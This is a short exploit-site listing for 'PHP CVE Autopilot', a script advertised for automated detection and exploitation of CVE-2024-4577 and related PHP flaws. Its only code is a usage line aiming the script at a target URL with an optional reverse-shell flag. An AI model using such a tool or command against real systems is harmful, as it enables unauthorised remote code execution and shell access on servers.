Exploit for OS Command Injection in Php CVE-2024-4577 CVE-2025-14177 CVE-2025-14178 CVE-2025-14180

Name: Exploit for OS Command Injection in Php CVE-2024-4577 CVE-2025-14177 CVE-2025-14178 CVE-2025-14180
Rating: 5 (135 reviews)

2026-04-29 | CVSS 9.8

## https://sploitus.com/exploit?id=BF6CF1C1-20AE-5F7E-A526-86AFE64FE8BB
# PHP CVE Autopilot

Fully automated detection and exploitation of:
- CVE-2024-4577 bypass (Windows CGI RCE)
- CVE-2025-14177 (heap leak via getimagesize)
- CVE-2025-14180 & CVE-2025-14178 (local DoS / overflow)

**Usage**
```bash
./php_cve_autopilot.sh -u http://target.com/ [--revshell IP PORT]
```